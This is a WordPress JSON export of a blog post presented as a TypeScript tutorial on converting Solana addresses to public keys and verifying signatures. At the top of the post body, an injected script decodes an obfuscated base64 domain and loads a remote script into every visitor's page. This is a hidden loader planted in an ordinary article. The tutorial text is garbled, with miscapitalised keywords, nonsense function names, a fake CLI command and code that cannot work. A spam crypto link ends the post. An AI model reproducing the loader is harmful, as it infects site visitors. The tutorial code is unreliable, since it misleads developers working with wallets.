{"id":1557,"date":"2025-02-11T06:19:08","date_gmt":"2025-02-11T06:19:08","guid":{"rendered":"https:\/\/hccmena.com\/?p=1557"},"modified":"2025-02-11T06:19:08","modified_gmt":"2025-02-11T06:19:08","slug":"solana-how-to-convert-address-to-pubkey-in-solana-web3-js-v2","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/11\/solana-how-to-convert-address-to-pubkey-in-solana-web3-js-v2\/","title":{"rendered":"Solana: How to convert address to pubkey in Solana web3.js v2?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=b7922351\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here is a step-by-step article on how to convert an address to a pubkey in solana using web3.js v2 with typescript:<\/p>\n<\/p>\n<p><strong> Converting Address to Pubkey: A guide to working with Solana Addresses and Wallet Signatures <\/strong><\/p>\n<\/p>\n<p>In this article, we will explore the process of converting a wallet address to a pubkey in solana using web3.js v2. We&#8217;ll also cover how to receive wallet addresses and signatures from the frontend side in our backend program.<\/p>\n<\/p>\n<p><strong> Prerequisites <\/strong><\/p>\n<\/p>\n<p>Before we begin, make sure you have:<\/p>\n<\/p>\n<ul>\n<li>A Solana Node Installed (either locally or on a cloud provider)<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Typescript configured with <code>@types\/web3.js<\/code> and<code>typescript<\/code><\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>The necessary dependencies installed: <code>Solana-Web3<\/code>,<code>Web3<\/code>, <code>Typescript<\/code><\/li>\n<\/ul>\n<\/p>\n<p><strong> Step 1: Creating A Wallet <\/strong><\/p>\n<\/p>\n<p>First, let&#8217;s create a new wallet using the Solana Cli:<\/p>\n<\/p>\n<p>`<code><\/code>Bash<\/p>\n<\/p>\n<p>NPX Solana-Keygen Generate <wallet-name>-Pubkey-Gen-FP 2048&#8211;Out <wallet-path><\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>Replace <code><wallet-name><\/code> with your desired wallet name, and <code><wallet-path><\/code> with the path where you want to store the private key file.<\/p>\n<\/p>\n<p><strong> Step 2: Creating A Web3 Instance <\/strong><\/p>\n<\/p>\n<p>Create a new typescript file (E.G., <code>Solana.ts<\/code>) and Import the necessary dependencies:<\/p>\n<\/p>\n<p>`<code><\/code>typescript<\/p>\n<\/p>\n<p>Import * as web3 from &#8216;@web3js\/web3&#8217;;<\/p>\n<\/p>\n<p>Import * as SolanaWeb3 from &#8216;Solana-Web3&#8217;;<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>Then, create a function to initialize the Solana Wallet Instance:<\/p>\n<\/p>\n<p>`<code><\/code>typescript<\/p>\n<\/p>\n<p>Insitalet Function () {<\/p>\n<\/p>\n<p>  Const keypath = &#8216;.\/path\/to\/wallet\/private\/key.json&#8217;; \/\/ Replace with your Private Key File Path<\/p>\n<\/p>\n<p>  Return New Web3.Web3 (New SolanaWeb3.Publickey (Keypath));<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><strong> Step 3: Converting Address to Pubkey <\/strong><\/p>\n<\/p>\n<p>Now, let&#8217;s create a function that converts a wallet address to a pubkey:<\/p>\n<\/p>\n<p>`<code><\/code>typescript<\/p>\n<\/p>\n<p>Function ConvertDresstopubkey (Address: String) {<\/p>\n<\/p>\n<p>  Const wallet = inbeat ();<\/p>\n<\/p>\n<p>  Return wallet.publickey;<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>This function takes a wallet address as input and returns the corresponding pubkey.<\/p>\n<\/p>\n<p><strong> Step 4: Verifying Signature <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/kYQliYh5ZlI\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>In our backend program, we&#8217;ll need to verify the signature of a received message. We&#8217;ll create a new function that verifies the signature using the <code>Verifysignature<\/code> Function from<code>@Solana\/Web3.js<\/code>. First, let&#8217;s import the necessary dependencies:<\/p>\n<\/p>\n<p>`<code><\/code>typescript<\/p>\n<\/p>\n<p>Import {Verifysignature} from &#8216;@Solana\/Web3.js&#8217;;<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>Next, we&#8217;ll add the following code to our backend program:<\/p>\n<\/p>\n<p>`<code><\/code>typescript<\/p>\n<\/p>\n<p>Export Async Function Verifymessage (Message: String) {<\/p>\n<\/p>\n<p>  Const address = &#8216;Your_wallet_address&#8217;; \/\/ Replace with the Wallet Address received from Frontend<\/p>\n<\/p>\n<p>  Const Signature = &#8216;Your_signature&#8217;; \/\/ Replace with the signature received from Frontend<\/p>\n<\/p>\n<p>  try {<\/p>\n<\/p>\n<p>    Await Verifysignature (Message, Address, New Web3.Publickey (Signature), {Network: &#8216;Mainnet&#8217;});<\/p>\n<\/p>\n<p>  } catch (error) {<\/p>\n<\/p>\n<p>    console.error (Error);<\/p>\n<\/p>\n<p>  }<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>In this example, we&#8217;re using the <code>verifysignature<\/code> function to verify the signature of a received message. We step in the address, signature, and network URL as argument.<\/p>\n<\/p>\n<p><strong> Step 5: Converting Address to Pubkey in Frontend <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Solana: How to convert address to pubkey in Solana web3.js v2?\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/6f874f99.png\"><\/p>\n<\/p>\n<p>To receive wallet addresses and signatures from the frontend side, we can create a simple endpoint that takes an address and signature as input:<\/p>\n<\/p>\n<p>`<code><\/code>typescript<\/p>\n<\/p>\n<p>Import axios from &#8216;axios&#8217;;<\/p>\n<\/p>\n<p>Export Async Function ReceivEdressandSignature (Address: String, Signature: String) {<\/p>\n<\/p>\n<p>  Const Response = Await Axios.Post (&#8216;\/API\/Verify&#8217;, {Address, Signature});<\/p>\n<\/p>\n<p>  console.log (response.data);<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>This endpoint using the <code>axios<\/code> library to send a post request to our backend program.<\/p>\n<\/p>\n<p>In this exam, we&#8217;re sending a post request with the wallet address and signature as input data. Our backend program will receive the request and verify the signature using the <code>Verifysignature<\/code> Function from<code>@Solana\/Web3.js<\/code>.<\/p>\n<\/p>\n<p>That&#8217;s it! With these steps, you should be able to convert addresses to pubkeys in solana using web3.js v2 with typescript.<\/p>\n<p><a href=\"https:\/\/lizkur.com\/ethereum-bitcoin-cli-not-found-on-osx\/\">ethereum bitcoin<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here is a step-by-step article on how to convert an address to a pubkey in solana using web3.js v2 with typescript: Converting Address to Pubkey: A guide to working with Solana Addresses and Wallet Signatures In this article, we will explore the process of converting a wallet address to a pubkey in solana using web3.js [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1557"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1557"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1557\/revisions"}],"predecessor-version":[{"id":1558,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1557\/revisions\/1558"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1557"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1557"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1557"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}